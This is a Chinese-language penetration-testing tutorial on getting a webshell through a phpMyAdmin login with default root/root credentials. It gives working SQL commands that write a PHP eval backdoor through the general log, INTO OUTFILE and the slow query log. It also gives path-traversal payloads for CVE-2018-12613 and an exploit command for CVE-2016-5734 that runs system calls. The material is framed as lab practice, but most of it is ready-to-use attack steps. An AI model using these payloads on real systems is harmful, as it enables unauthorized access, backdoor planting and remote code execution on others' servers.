前言
拿到phpMyAdmin弱口令登录到后台却不知道怎么利用,本篇总结一下phpMyAdmin getshell的姿势,以防忘记。
环境搭建
建议在win7下搭建,因为我在win10下无法复现,下载phpStudy,环境已经集成好了,直接启用即可。
实验环境说明:win7 + Apache(任意版本) + MYSQL(任意版本) + phpMyAdmin(任意版本) + 绝对路径 C:\phpstudy_pro\WWW。
写日志getshell
默认用户名:root,密码:root,登陆进phpMyAdmin后,进入变量选项卡,搜索general
,可看到以下信息。
general log默认是OFF状态,即不开启日志记录功能。general log file是配置日志保存的位置。
因为是root权限,所以我们可以对这两个变量进行修改。将OFF改ON,日志保存位置改成C:\phpstudy_pro\WWW\shell.php,即创建一个shell.php的空文件。
进入靶机可看见shell.php日志文件
查看shell.php里面的内容
C:\phpstudy_pro\COM\..\Extensions\MySQL5.7.26\\bin\mysqld.exe, Version: 5.7.26 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
2021-02-16T05:22:17.732510Z 44 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
2021-02-16T05:22:17.748511Z 45 Quit
2021-02-16T05:22:17.748511Z 44 Quit
点击SQl选项卡,使用sql查询语句将一句话php木马写入日志,select '<?php eval($_POST[aaa]);?>';
执行成功
再次查看shell.php内容,可看到一句话木马已经被写入
蚁剑成功连接
写文件getshell
可使用select '<?php eval($_POST[aaa]);?>' INTO OUTFILE '网站路径';
,将一句话写进文件,这里出现报错。
报错原因是因为secure_file_priv的值的原因:
secure_file_priv=null #不允许导入导出
secure_file_priv=/tmp/ #导入导出只能在/tmp/目录下
secure_file_priv='' #可导入导出
来到变量搜索secure_file_priv
,可看到值为NULL,所以刚刚写文件失败了。
在MySQL目录下打开my.ini,如图位置添加secure_file_priv=''
保存文件,重启phpStudy,再次查看变量secure_file_priv,可看到刚刚的NULL值变为空
尝试执行sql语句select '<?php eval($_POST[aaa]);?>' INTO OUTFILE 'C:/phpstudy_pro/WWW/1.php';
,成功写入木马
慢查询日志getshell
查看当前慢查询日志情况show variables like '%slow%';
,可看到slow_query_log=OFF 是关闭的
使用set global slow_query_log=on;
开启慢查询功能
重新设置日志路径set global slow_query_log_file='C:/phpstudy_pro/WWW/2.php';
再次查看日志情况show variables like '%slow%';
,已成功修改
执行sql命令,写webshell进日志文件select '<?php phpinfo() ?>' from mysql.db where sleep(10);
,访问2.php,成功执行phpinfo
特殊版本
CVE-2018-12613
受影响版本
phpMyAdmin 4.8.1和4.8.0
payload为index.php?target=db_sql.php%253f/../../../../../../../../windows/win.ini
,可查看文件
查看数据库路径show global variables like "%datadir%";
写入php代码
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
包含该数据库文件
index.php?target=db_sql.php%253f/../../../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/rce/rce.MYD
CVE-2016-5734
受影响版本CVE-2016-5734详情
4.0.10.16之前的4.0.x版本
4.4.15.7之前的4.4.x版本
4.6.3之前的4.6.x版本
环境搭建使用vulhub
cd /phpmyadmin/CVE-2016-5734
docker-compose up -d
访问http://ip:8080 用户名:root 密码:root
下载exp,使用python 40185.py -c "system('whoami');" -u root -p root http://192.168.127.132:8080
-c 执行的命令,-u 数据库用户名 -p 数据库密码 后面跟url,不能使用一句话直接反弹shell,建议写一句话木马进去